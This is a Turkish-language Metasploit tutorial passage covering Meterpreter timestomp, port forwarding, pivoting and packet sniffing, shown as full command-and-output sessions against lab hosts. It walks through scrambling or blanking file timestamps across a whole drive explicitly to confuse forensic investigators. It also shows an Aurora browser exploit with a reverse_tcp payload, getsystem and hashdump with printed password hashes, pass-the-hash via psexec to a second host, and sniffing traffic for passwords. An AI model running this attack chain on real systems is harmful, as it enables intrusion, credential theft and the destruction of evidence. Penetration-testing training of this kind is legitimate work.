Modified : Sun May 03 04:30:36 -0400 2009Accessed : Sun May 03 04:31:51 -0400 2009Created : Sun May 03 04:30:08 -0400 2009Entry Modified: Sun May 03 04:31:44 -0400 2009
Bu dosyayı sizin oluşturduğunuzu düşünün. Bunu değiştirmek isteyebilirsiniz. Şimdi bu zaman bilgilerini değiştirmeye çalışalım. Bunu yapmanın birinci yolu, sistemde bulunan başka bir dosyanın zaman bilgilerini, test.txt dosyasına kopyalakmatır.
Örneğin, cmd.exe dosyasının zaman bilgilerini test.txt zaman bilgilerine kopyalayalım. Bunun için aşağıdaki komutu -f seçeneği ile yürütebilirsiniz.
meterpreter > timestomp test.txt -f C:\\WINNT\\system32\\cmd.exe
> Setting MACE attributes on test.txt from C:\WINNT\system32\cmd.exe
meterpreter > timestomp test.txt -v
Modified : Tue Dec 07 08:00:00 -0500 1999Accessed : Sun May 03 05:14:51 -0400 2009Created : Tue Dec 07 08:00:00 -0500 1999Entry Modified: Sun May 03 05:11:16 -0400 2009
İşlem tamamlandı. Gerçekten kopyalanmış mı bakalım.
File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt
Created Date: 12/7/1999 7:00:00 AM
Last Accessed: 5/3/2009 3:11:16 AM
Last Modified: 12/7/1999 7:00:00 AM
Gördüğünüz gibi test.txt dosyasının MAC zaman bilgileri cmd.exe dosyasıyla aynı oldu.
Dikkatli bir kullanıcıysanız, Windows komut satırından ve Linux komut satırından dosyaya baktığınızda tarih bilgileri aynı olsa da saat bilgilerinin farklı olduğunu fark etmişsinizdir. Bu farkın sebebi timezone zaman dilimlerinin farklılığındandır.
Ayıca, test.txt dosyasının accessed time değerinin dosyanın bilgilerini kontrol ettiğimizden dolayı hemen yeni tarihe güncellendiğini de vurgulamak gerekir. Windows için zaman kayıtlarının ne kadar değişken ve önemli olduğunu vurgulamak yerinde olacaktır.
Şimdi farklı bir teknik kullanalım. timestomp sunduğu -b seçeneği, zaman bilgilerini boş olarak ayarlamanıza yardımcı olur. Aşağıdaki örnekte, dosyanın mevcut durumu ve timestomp test.txt -b komutu sonrasındaki zaman bilgilerini görebilirsiniz.
meterpreter > timestomp test.txt -v
Modified : Tue Dec 07 08:00:00 -0500 1999Accessed : Sun May 03 05:16:20 -0400 2009Created : Tue Dec 07 08:00:00 -0500 1999Entry Modified: Sun May 03 05:11:16 -0400 2009meterpreter > timestomp test.txt -b
> Blanking file MACE attributes on test.txt
meterpreter > timestomp test.txt -v
Modified : 2106-02-06 23:28:15 -0700
Accessed : 2106-02-06 23:28:15 -0700
Created : 2106-02-06 23:28:15 -0700
Entry Modified: 2106-02-06 23:28:15 -0700
Görüldüğü gibi dosyalar 2106 yılına ait zaman bilgilerini aldı. Bu görünüm Meterpreter komut satırından böyle iken bir de Windows içerisinde nasıl göründüğüne bakalım.
File Path: C:\Documents and Settings\P0WN3D\My Documents\test.txt
Created Date: 1/1/1601
Last Accessed: 5/3/2009 3:21:13 AM
Last Modified: 1/1/1601
Linux Meterpreter içerisinde 2106 yılı, Windows içinde 1601 oarak görülmektedir. Bu farkın sebebini Ek bilgi sayfasından inceleyebilirsiniz.
Başka Bir Örnek
Şimdi, meterpreter komut satırımızdan Windows içerisine WINNT\\antivirus\\ klasörü oluşturalım ve içerisine bir kaç dosya yükleyelim.
Yukarıda anlatılan yöntemlerle zaman bilgilerini değiştirdik veya boş hale getirdik ancak dikkatli forensics araştırmacıları bu garipliği fark edecektir.
Bunun yerine sistemin tamamının zaman bilgilerini değiştirmeyi düşünebilirsiniz. Bu durumda, hangi dosyanın ne zaman oluşturulduğu veya değiştirildiği tamamen karışacaktır. Karşılaştırma yapılacak başka bir dosya olmadığından işler iyice karmaşık hale gelecektir.
Bu durum, sisteme bir müdahale olduğunu açık olarak ortaya koymakla birlikte forensics araştırmacılarının işini zorlaştıracaktır.
Tüm Sistemin Zaman Bilgilerini Değiştirme
meterpreter > pwdC:WINNT\antivirus
meterpreter > cd ../..
meterpreter > pwdC:
meterpreter > ls
Listing: C:\
**============**
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100777/rwxrwxrwx 0 fil Wed Dec 31 19:00:00 -0500 1969 AUTOEXEC.BAT
100666/rw-rw-rw- 0 fil Wed Dec 31 19:00:00 -0500 1969 CONFIG.SYS
40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 Documents and Settings
100444/r--r--r-- 0 fil Wed Dec 31 19:00:00 -0500 1969 IO.SYS
100444/r--r--r-- 0 fil Wed Dec 31 19:00:00 -0500 1969 MSDOS.SYS
100555/r-xr-xr-x 34468 fil Wed Dec 31 19:00:00 -0500 1969 <a href="http://ntdetect.com/">NTDETECT.COM</a>
40555/r-xr-xr-x 0 dir Wed Dec 31 19:00:00 -0500 1969 Program Files
40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 RECYCLER
40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 System Volume Information
40777/rwxrwxrwx 0 dir Wed Dec 31 19:00:00 -0500 1969 WINNT
100555/r-xr-xr-x 148992 fil Wed Dec 31 19:00:00 -0500 1969 arcldr.exe
100555/r-xr-xr-x 162816 fil Wed Dec 31 19:00:00 -0500 1969 arcsetup.exe
100666/rw-rw-rw- 192 fil Wed Dec 31 19:00:00 -0500 1969 boot.ini
100444/r--r--r-- 214416 fil Wed Dec 31 19:00:00 -0500 1969 ntldr
100666/rw-rw-rw- 402653184 fil Wed Dec 31 19:00:00 -0500 1969 pagefile.sys
meterpreter > timestomp C:\\ -r
> Blanking directory MACE attributes on C:\
meterpreter > ls
meterpreter > ls
Listing: C:\
**============**
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100777/rwxrwxrwx 0 fil 2106-02-06 23:28:15 -0700 AUTOEXEC.BAT
100666/rw-rw-rw- 0 fil 2106-02-06 23:28:15 -0700 CONFIG.SYS
100666/rw-rw-rw- 0 fil 2106-02-06 23:28:15 -0700 Documents and Settings
100444/r--r--r-- 0 fil 2106-02-06 23:28:15 -0700 IO.SYS
100444/r--r--r-- 0 fil 2106-02-06 23:28:15 -0700 MSDOS.SYS
100555/r-xr-xr-x 47564 fil 2106-02-06 23:28:15 -0700 <a href="http://ntdetect.com/">NTDETECT.COM</a>
...snip...
timestomp C:\\ -r komutuyla C diskinde bulunan tüm dosyaların zaman bilgilerinin değiştirildiğini görebilirsiniz.
Akıllı forensics araştırmacıları, sadece zaman bilgileri değil başka yerlere de bakarlar. Windows içinde çeşitli farklı kayıt mekanizmaları bulunmaktadır.
2.27 - MSF Pivoting İçin Portfwd
Port Yönlendirme olarak kullanılan portfwd komutu, Meterpreter’in sağladığı imkanlardan bir tanesidir. Normalde ağda bulunan fakat doğrudan iletişim kurulamayan cihazlarla iletişim kurmaya yarar. Bunun gerçekleşebilmesi için öncelikle bir pivot bilgisayara ihtiyacımız bulunmaktadır.
Portfwd
Port Yönlendirme olarak kullanılan portfwd komutu, Meterpreter’in sağladığı imkanlardan bir tanesidir. Normalde ağda bulunan fakat doğrudan iletişim kurulamayan cihazlarla iletişim kurmaya yarar. Bunun gerçekleşebilmesi için öncelikle bir pivot bilgisayara ihtiyacımız bulunmaktadır.
Pivot olarak adlandırdığımız bilgisayarın bağlanabildiği bir ağ cihazına, port yönlendirme yaparak kendi yerel makinemizden bağlanmamızı sağlar. Bunun nasıl gerçekleştiğini bir örnekle açıklamaya çalışalım. Bu anlatımda 3 adet bilgisayar olduğunu baştan belirtmekte fayda var.
Kendi bilgisayarımız: 192.168.1.162 veya 0.0.0.0
Pivot bilgisayar : 172.16.194.144
Hedef Bilgisayar : 172.16.194.191
Bizim burada yapmaya çalıştığımız işlem, bir şekilde meterpreter oturum açtığımız pivot bilgisayar üzerinden Port Yönlendirme yaparak hedef bilgisayarla haberleşmeyi sağlamaktır.
Yardımı Görüntüleme
Pivot makinede meterpreter oturum açık durumdayken portfwd –h komutu ile portfwd ile ilgili yardımı görüntüleyebilirsiniz.
meterpreter > portfwd -h
Usage: portfwd **[**-h**]** **[**add | delete | list | flush] **[**args]OPTIONS:
-L >opt> The local host to listen on **(**optional**)**.
-h Help banner.
-l >opt> The local port to listen on.
-p >opt> The remote port to connect on.
-r >opt> The remote host to connect on.
meterpreter >
Seçenekler
-L: Dinleme yapacağımız kendi bilgisayarımızın IP adresini ifade eder. Bilgisayarınızda birden fazla ağ kartı yoksa bu seçeneği girmeyebilirsiniz. Varsayılan olarak localhost anlamında 0.0.0.0 kullanılacaktır.
-h: Yardım bilgisini görüntüler.
-l: Yerel kendi bilgisayarımızda dinleme yapacağımız Port numarasını ifade eder.
-p: Hedef bilgisayarın Port numarasını ifade eder.
-r: Hedef bilgisayarın IP adresini ifade eder.
Argümanlar
Add: Yeni bir yönlendirme eklemeye yarar.
Delete: Mevcut bir yönlendirmeyi silmeye yarar.
List: Mevcut durumda tüm yönlendirmelerin listesini görüntülemeye yarar.
Flush: Tüm aktif yönlendirmeleri iptal etmeye yarar.
Yönlendirme Ekleme
Meterpreter shell oturumunu açtığımız pivot bilgisayarda iken vereceğimiz komut aşağıdaki formattadır.
Aktif olan yönlendirmeleri portfwd list komutuyla yapabiliriz.
meterpreter > portfwd list
0: 0.0.0.0:3389 -> 172.16.194.191:3389
1: 0.0.0.0:1337 -> 172.16.194.191:1337
2: 0.0.0.0:2222 -> 172.16.194.191:2222
3 total local port forwards.
meterpreter >
Tüm Yönlendirmeleri Temizleme
Sistemde aktif olan tüm yönlendirmeleri portfwd flush komutuyla iptal edebiliriz.
meterpreter > portfwd flush
> Successfully stopped TCP relay on 0.0.0.0:3389
> Successfully stopped TCP relay on 0.0.0.0:1337
> Successfully stopped TCP relay on 0.0.0.0:2222
> Successfully flushed 3 rules
meterpreter > portfwd list
0 total local port forwards
meterpreter >
Örnek
Aşağıda örnek olarak bir senaryoyu bulabilirsiniz.
Hedef Bilgisayar
Aşağıdaki komut çıktısında görüldüğü gibi, hedef bilgisayar 172.16.194.141 IP adresine sahiptir.
C:\> ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection 3:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . 172.16.194.141
Subnet Mask. . . . . . . . . 255.255.255.0
Default Gateway. . . . . . . . 172.16.194.2
C:\>
Pivot Bilgisayar
Pivot bilgisayar aşağıdaki çıktıda görüldüğü gibi, hem 172.16.194.0/24 ağına hem de 192.168.1.0/24 ağına bağlanabilmektedir. Bizim yerel bilgisayarımızda bu 192.168.1.0/24 ağında bulunuyor.
Birazdan aşağıda göreceğiniz yönlendirme sonucunda yerel bilgisayarımızın (192.168.1.162 IP numaralı), pivot makine üzerinden 172.16.194.141 IP adresine ping sinyali gönderebildiğini görebiliyoruz.
root@kali:~# ifconfig eth1
eth1 Link encap:Ethernet HWaddr 0a:0b:0c:0d:0e:0f
inet addr:192.168.1.162 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fed6:ab38/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1357685 errors:0 dropped:0 overruns:0 frame:0
TX packets:823428 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:318385612 **(**303.6 MiB**)** TX bytes:133752114 **(**127.5 MiB**)**
Interrupt:19 Base address:0x2000
root@kali:~# ping 172.16.194.141
PING 172.16.194.141 **(**172.16.194.141**)** 56**(**84**)** bytes of data.
64 bytes from 172.16.194.141: icmp_req**=**1 ttl**=**128 time**=**240 ms
64 bytes from 172.16.194.141: icmp_req**=**2 ttl**=**128 time**=**117 ms
64 bytes from 172.16.194.141: icmp_req**=**3 ttl**=**128 time**=**119 ms
^C
--- 172.16.194.141 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev **=** 117.759/159.378/240.587/57.430 ms
root@kali:~#
Peki bu haberleşmeyi nasıl başardık?
Yönlendirme Yapalım
pivot bilgisayarda açtığımız meterpreter shell içerisinde iken aşağıdaki yönlendirme işlemini gerçekleştirdik.
Yönlendirme komutunu pivot bilgisayarda verdikten sonra yerel bilgisayarımızda netstat -antp komutuyla bizim de dinlemeyi 3389 numaralı port üzerinden yaptığımızı kontrol edebilirsiniz.
root@kali:~# netstat -antp
Active Internet connections **(**servers and established**)**
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 00 0.0.0.0:22 0.0.0.0:***** LISTEN 8397/sshd
.....
tcp 00 0.0.0.0:3389 0.0.0.0:***** LISTEN 2045/.ruby.bin
.....
tcp6 00 :::22 :::***** LISTEN 8397/sshd
root@kali:~#
Bu durumda yerel bilgisayarımızdan hedef bilgisayara rdesktop uzak masaüstü bağlantısı açabilir veya diğer işlemleri yapabiliriz.
Örneğin exploit/windows/smb/ms08_067_netapi modülünü kullanabiliriz. Bu modüldeki değişkenleri, yönlendirme sonucu ulaştığımız hedef bilgisayarın IP adresi ve Port numarasını girerek kullanabiliriz.
Konunun biraz kafa karıştırıcı olduğunu düşünebilirsiniz. Bir miktar deneme ve antrenman yapmanızı tavsiye ediyorum.
Şöyle düşünün, hedef bilgisayara ulaşmak için pivot makineye meterpreter shell açıyoruz. pivot bilgisayarın haberleşebildiği diğer IP adresinde aktif bulunan (örneğin SAMBA, 445 portu) servise önce yönlendirme yapıyoruz. Ardından yerel bilgisayarımızdan hedef bilgisayara bağlanabiliyoruz.
Doğru IP ve Port numaralarını yönlendirme yaptığınıza dikkat etmelisiniz.
2.28 - MSF Pivoting
Bir sistemde meterpreter shell oturumu açtığınızı varsayalım. Oturum açtığınız sistem, ağda bulunan ancak tam yetkili bir bilgisayar olmayabilir. Bu ilk oturum açtığınız sistemi bir sıçrama tahtası olarak kullanıp aynı ağdaki diğer bilgisayarlara erişmeye pivoting adı verilmektedir. Başka bir terminolojide kıyı başı veya giriş noktası olarak isimlendirildiğine de rast gelebilirsiniz.
Pivoting Nedir?
Bir sistemde meterpreter shell oturumu açtığınızı varsayalım. Oturum açtığınız sistem, ağda bulunan ancak tam yetkili bir bilgisayar olmayabilir. Bu ilk oturum açtığınız sistemi bir sıçrama tahtası olarak kullanıp aynı ağdaki diğer bilgisayarlara erişmeye pivoting adı verilmektedir. Başka bir terminolojide kıyı başı veya giriş noktası olarak isimlendirildiğine de rast gelebilirsiniz.
Normalde doğrudan erişimi bulunmayan sunucu veya ağ sistemlerine, pivoting kullanarak erişme şansınız bulunmaktadır. Aşağıda inceleyeceğimiz senaryoda, meterpreter shell açılan bir bilgisayarın ağ bağlantılarını kullanarak, başka bir bilgisayara ulaşmayı deneyeceğiz. Bunu yaparken, meterpreter’in sunduğu rotalama imkanından yararlanacağız.
1.Bilgisayara Shell Açalım
Burada kullanılan exploit/windows/browser/ms10_002_aurora modülü sayesinde, hazırlanan zararlı bir linke tıklayan şirket çalışanının bilgisayarında oturum açılmaktadır.
msf > use exploit/windows/browser/ms10_002_aurora
msf exploit**(**ms10_002_aurora**)** > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL **for **incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used **(**accepted: SSL2, SSL3, TLS1**)**
URIPATH no The URI to use **for **this exploit **(**default is random**)**
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit**(**ms10_002_aurora**)** > set URIPATH /
URIPATH **=>** /
msf exploit**(**ms10_002_aurora**)** > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD **=>** windows/meterpreter/reverse_tcp
msf exploit**(**ms10_002_aurora**)** > set LHOST 192.168.1.101
LHOST **=>** 192.168.1.101
msf exploit**(**ms10_002_aurora**)** > exploit -j
> Exploit running as background job.
> Started reverse handler on 192.168.1.101:4444
> Using URL: <a href="http://0.0.0.0:8080/">http://0.0.0.0:8080/</a>
> Local IP: <a href="http://192.168.1.101:8080/">http://192.168.1.101:8080/</a>
> Server started.
msf exploit**(**ms10_002_aurora**)** >
Açılan yeni oturumu sessions -l komutuyla görebilirsiniz. Aşağıdaki listede kendi IP adresimizden LHOST: 192.168.1.101 diğer hedef bilgisayara RHOST:192.168.1.201 bağlantı kurulduğu görülmektedir.
msf exploit**(**ms10_002_aurora**)** >
> Sending Internet Explorer "Aurora" Memory Corruption to client 192.168.1.201
> Sending stage **(**749056 bytes**)** to 192.168.1.201
> Meterpreter session 1 opened **(**192.168.1.101:4444 -> 192.168.1.201:8777**)** at Mon Dec 06 08:22:29 -0700 2010msf exploit**(**ms10_002_aurora**)** > sessions -l
Active sessions
**===============**
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/win32 XEN-XP-SP2-BARE\Administrator @ XEN-XP-SP2-BARE 192.168.1.101:4444 -> 192.168.1.201:8777
msf exploit**(**ms10_002_aurora**)** >
1.Bilgisayarın Ağ Kartları
Şimdi bu oturuma girelim ve ipconfig komutuyla hedef bilgisayarın ağ ayarlarına bakalım.
Bizim oturum açtığımız bilgisayarın IP adresinden anlıyoruz ki bağlandığımız ağ kartı Citrix XenServer PV Ethernet Adapter - Packet Scheduler Miniport isimli karttır.
Bu bilgilerden anladığımız kadarıyla Citrix XenServer PV Ethernet Adapter #2 - Packet Scheduler Miniport isimli kartın IP adresi 10.1.13.3. O zaman bu ağa bağlananlara 10.1.13.1-255 aralığında IP adresleri verildiğini anlıyoruz. CIDR formatında bu 10.1.13.0/24 olarak gösteriliyor.
Meterpreter’in sağladığı imkanlardan bir tanesi de autoroute script kodudur. autoroute hakkında yardımı görüntüleyelim.
meterpreter > run autoroute -h
> Usage: run autoroute **[**-r**]** -s subnet -n netmask
> Examples:
> run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0> run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0> run autoroute -s 10.10.10.1/24 # CIDR notation is also okay> run autoroute -p # Print active routing table> run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route> Use the "route" and "ipconfig" Meterpreter commands to learn about available routes
Şimdi otomatik rotalama yapalım. Bunun için aşağıdaki komutu kullanıyoruz.
meterpreter > run autoroute -s 10.1.13.0/24
> Adding a route to 10.1.13.0/255.255.255.0...
**[**+] Added route to 10.1.13.0/255.255.255.0 via 192.168.1.201
> Use the -p option to list all active routes
Rotalama yapıldı. Kontrol edelim.
meterpreter > run autoroute -p
Active Routing Table
**====================**
Subnet Netmask Gateway
------ ------- -------
10.1.13.0 255.255.255.0 Session 1meterpreter >
2.Bilgisayara Bağlantı
İlk bilgisayarda getsystem komutuyla hash bilgilerini elde edelim. Bu hash bilgilerini kullanarak 2. bilgisayara bağlanmaya çalışacağız. Ağdaki bilgisayarların, hash değerleriyle yetki kontrolü yaptığını hatırlayın. Bu teknikle ilgili Metasploit Framework Yetki Yükseltme yazısına bakabilirsiniz.
Aşağıdaki komutlarla, getsystem ile SYSTEM bilgilerini elde ediyoruz, hashdump ile hash bilgilerini alıyoruz ve CTRL+Z tuşları ile oturumu arka plana gönderiyoruz.
meterpreter > getsystem
...got system **(**via technique 1**)**.
meterpreter > run hashdump
> Obtaining the boot key...
> Calculating the hboot key using SYSKEY c2ec80f879c1b5dc8d2b64f1e2c37a45...
> Obtaining the user list and keys...
> Decrypting user keys...
> Dumping password hashes...
Administrator:500:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9a6ae26408b0629ddc621c90c897b42d:07a59dbe14e2ea9c4792e2f189e2de3a:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:ebf9fa44b3204029db5a8a77f5350160:::
victim:1004:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
meterpreter >
Background session 1? **[**y/N]msf exploit**(**ms10_002_aurora**)** >
2.Bilgisayar Ağını Tarama
Rotalama sayesinde artık 2. bilgisayar ağı ile haberleşebiliyoruz. O zaman bu ağı tarayalım ve 139 ile 445 numaralı portları açık olup olmadığına bakalım. İsterseniz tüm portları da tarayabilirsiniz. Biz sadece örnek vermek için bu iki portu tarayacağız. Bu tarama işlemi için auxiliary/scanner/portscan/tcp modülünü kullanacağız. Modülde RHOSTS değişkenini RHOSTS 10.1.13.0/24 olarak ayarladığımıza dikkat edin.
msf exploit**(**ms10_002_aurora**)** > use auxiliary/scanner/portscan/tcp
msf auxiliary**(**tcp**)** > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
FILTER no The filter string **for **capturing traffic
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to process
PORTS 1-10000 yes Ports to scan **(**e.g. 22-25,80,110-900**)**
RHOSTS yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout **in **milliseconds
VERBOSE false no Display verbose output
msf auxiliary**(**tcp**)** > set RHOSTS 10.1.13.0/24
RHOST **=>** 10.1.13.0/24
msf auxiliary**(**tcp**)** > set PORTS 139,445
PORTS **=>** 139,445
msf auxiliary**(**tcp**)** > set THREADS 50THREADS **=>** 50msf auxiliary**(**tcp**)** > run
> 10.1.13.3:139 - TCP OPEN
> 10.1.13.3:445 - TCP OPEN
> 10.1.13.2:445 - TCP OPEN
> 10.1.13.2:139 - TCP OPEN
> Scanned 256 of 256 hosts **(**100% complete**)**
> Auxiliary module execution completed
msf auxiliary**(**tcp**)** >
Yapılan tarama sonucunda 10.1.13.2 ve 10.1.13.3 olarak 2 IP adresi bulduk. Bunlardan 10.1.13.3 IP adresi zaten bizim 1. bilgisayara ait olduğundan 10.1.13.2 IP adresine odaklanacağız.
Bağlantı Yapalım
445 numaralı portun samba ağ paylaşım işlemlerinden kullanıldığını biliyoruz. Öyleyse, exploit/windows/smb/psexec modülünü kullanabiliriz. Modül ayarlarını yaparken, ilk bilgisayardan elde ettiğimiz Administrator:500:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d hash değerlerini girdiğimize dikkat edin.
msf auxiliary**(**tcp**)** > use exploit/windows/smb/psexec
msf exploit**(**psexec**)** > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBDomain WORKGROUP no The Windows domain to use **for **authentication
SMBPass no The password **for **the specified username
SMBUser no The username to authenticate as
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit**(**psexec**)** > set RHOST 10.1.13.2
RHOST **=>** 10.1.13.2
msf exploit**(**psexec**)** > set SMBUser Administrator
SMBUser **=>** Administrator
msf exploit**(**psexec**)** > set SMBPass 81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d
SMBPass **=>** 81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d
msf exploit**(**psexec**)** > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD **=>** windows/meterpreter/bind_tcp
msf exploit**(**psexec**)** > exploit
> Connecting to the server...
> Started bind handler
> Authenticating to 10.1.13.2:445|WORKGROUP as user 'Administrator'...
> Uploading payload...
> Created \qNuIKByV.exe...
> Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.1.13.2[\svcctl] ...
> Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.1.13.2[\svcctl] ...
> Obtaining a service manager handle...
> Creating a new service **(**UOtrbJMd - "MNYR"**)**...
> Closing service handle...
> Opening service...
> Starting the service...
> Removing the service...
> Closing service handle...
> Deleting \qNuIKByV.exe...
> Sending stage **(**749056 bytes**)**
> Meterpreter session 2 opened **(**192.168.1.101-192.168.1.201:0 -> 10.1.13.2:4444**)** at Mon Dec 06 08:56:42 -0700 2010meterpreter >
Gördüğünüz gibi 2. bilgisayara bağlantı sağladık. Bu bağlantıyı yukarıda [*] Meterpreter session 2 opened (192.168.1.101-192.168.1.201:0 -> 10.1.13.2:4444) satırından da görebileceğiniz gibi 192.168.1.101-192.168.1.201:0 -> 10.1.13.2:4444 rotasını takip ederek yaptık.
Görüldüğü gibi pivoting çok güçlü bir tekniktir. Bir ağda, herhangi bir bilgisayara erişim sağladıktan sonra, ağdaki diğer sistemlere ulaşmanızda size yardımcı olmaktadır.
2.29 - MSF Paket Dinleme
Metasploit Framework kullanarak bir hedef bilgisayarda meterpreter shell açtığınızda, bağlandığınız bilgisayarın ağda yaptığı haberleşme esnasında gönderilen ve alınan bilgileri görmek isteyebilirsiniz. Bu işleme paket dinleme adı verilmektedir.
Paket Dinleme
Metasploit Framework kullanarak bir hedef bilgisayarda meterpreter shell açtığınızda, bağlandığınız bilgisayarın ağda yaptığı haberleşme esnasında gönderilen ve alınan bilgileri görmek isteyebilirsiniz. Bu işleme paket dinleme adı verilmektedir.
Meterpreter, sniffer modülü ile bu trafiği kaydedebilirsiniz. Toplamda 200.000 pakete kadar kayıt yapabilen sniffer modülü, paketleri PCAP formatında kaydeder. Böylece PCAP dosyasını psnuffle, dsniff veya wireshark programlarıyla analiz edebilirsiniz.
Meterpreter sniffer eklentisi MicroOLAP Packet Sniffer SDK kullanır. Paketleri dinlemek için diskin herhangi bir yerinden veri alıp verme işlemi yapmaz. Ayrıca, meterpreter tarafından oluşturulan paketler kayıt dışı tutarak karışıklığın önüne de geçer. Meterpreter tarafından yakalanan veriler, bilgisayarımıza SSL/TLS kullanılarak şifreli olarak aktarılır.
Meterpreter Oturum Açalım
Öncelikle keşfettiğiniz bir servis veya zafiyeti kullanarak meterpreter oturumu açmalısınız. Aşağıda örneğini görebilirsiniz.
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit**(**ms08_067_netapi**)** > set PAYLOAD windows/meterpeter/reverse_tcp
msf exploit**(**ms08_067_netapi**)** > set LHOST 10.211.55.126
msf exploit**(**ms08_067_netapi**)** > set RHOST 10.10.1.119
msf exploit**(**ms08_067_netapi**)** > exploit
> Handler binding to LHOST 0.0.0.0
> Started reverse handler
> Triggering the vulnerability...
> Transmitting intermediate stager **for **over-sized stage...**(**216 bytes**)**
> Sending stage **(**205824 bytes**)**
> Meterpreter session 1 opened **(**10.10.1.4:4444 -> 10.10.1.119:1921**)**
Sinffer Modülünü Yükleyelim
Meterpreter oturumu açıldığında use sniffer komutuyla eklentiyi aktif hale getirmeliyiz. Ardında help komutunu verdiğinizde, yardım listesinde sniffer ile ilgili kullanılabilir durumda olan komutları görebilirsiniz.
meterpreter > use sniffer
Loading extension sniffer...success.
meterpreter > helpSniffer Commands
**================**
Command Description
------- -----------
sniffer_dump Retrieve captured packet data
sniffer_interfaces List all remote sniffable interfaces
sniffer_start Capture packets on a previously opened interface
sniffer_stats View statistics of an active capture
sniffer_stop Stop packet captures on the specified interface
Dinlenebilir Arayüzler
Hedef sistemde hangi ağ arayüzlerinin aktif olduğunu görmek için sniffer_interfaces komutunu kullanarak listeyi inceliyoruz.
Bizim örneğimizde 1 adet arayüz bulunmaktadır. Bu ağ cihazını dinlemek için sniffer_start 1 komutunu veriyoruz. Bilgiler /tmp/all.cap dosyasına kayıt edilecektir.
meterpreter > sniffer_start 1> Capture started on interface 1 **(**200000 packet buffer**)**
Kayıtları Kontrol Etme
Dinleme işlemi devam ederken, ne kadar paketin kayıt edildiğini görmek için sniffer_dump komutunu kullanarak kaç adet paketin dosyaya yazıldığını görebilirsiniz.
meterpreter > sniffer_dump 1 /tmp/all.cap
> Dumping packets from interface 1...
> Wrote 19 packets to PCAP file /tmp/all.cap
meterpreter > sniffer_dump 1 /tmp/all.cap
> Dumping packets from interface 1...
> Wrote 199 packets to PCAP file /tmp/all.cap
packetrecorder Eklentisi
Meterpreter sniffer eklentisinin yanında paket dinleme için geliştirilen packetrecorder script kodlarını da kullanabilirsiniz. Bu modül, paket kayıtlarını belirli zaman aralıklarına bölmenizi sağlar. Örneğin 30 Saniye aralıklarla kayıt yapmak isteyebilirsiniz.
packetrecorder Aktif Hale Getirelim
meterpreter > run packetrecorder
Meterpreter Script **for **capturing packets **in **to a PCAP file
on a target host given a interface ID.
OPTIONS:
-h Help menu.
-i Interface ID number where all packet capture will be **done**.
-l Specify and alternate folder to save PCAP file.
-li List interfaces that can be used **for **capture.
-t Time interval **in **seconds between recollection of packet, default 30 seconds.
Dinlemeye başlamadan önce, dinlenebilir arayüzlerin listesini kontrol edelim.
Bu örneğimizde 3 adet ağ cihazı olduğunu görüyoruz. -i 2 seçeneği ile 2 numaralı arayüzü dinleyeceğimizi belirtmiş oluyoruz. -l /root/ seçeneği ile PCAP dosyasının nereye kayıt edileceğini belirliyoruz. Dinleme başladığından bir süre sonra işlemi bitirmek için CTRL+C tuşlarını kullanabilirsiniz.
meterpreter > run packetrecorder -i 2 -l /root/
> Starting Packet capture on interface 2**[**+] Packet capture started
> Packets being saved **in **to /root/logs/packetrecorder/XEN-XP-SP2-BARE_20101119.5105/XEN-XP-SP2-BARE_20101119.5105.cap
> Packet capture interval is 30 Seconds
^C
> Interrupt
**[**+] Stopping Packet sniffer...
meterpreter >
Kayıt edilen PCAP dosyasını wireshark veya tshark programıyla analiz edebilirsiniz. Aşağıda tshark komutuna ait bir örnek bulunmaktadır. Örnek komutta, paketlerin içinde geçen PASS ifadesinin bulunduğu paketler aranmaktadır.
root@kali:~/logs/packetrecorder/XEN-XP-SP2-BARE_20101119.5105# tshark -r XEN-XP-SP2-BARE_20101119.5105.cap |grep PASS
Running as user "root" and group "root". This could be dangerous.
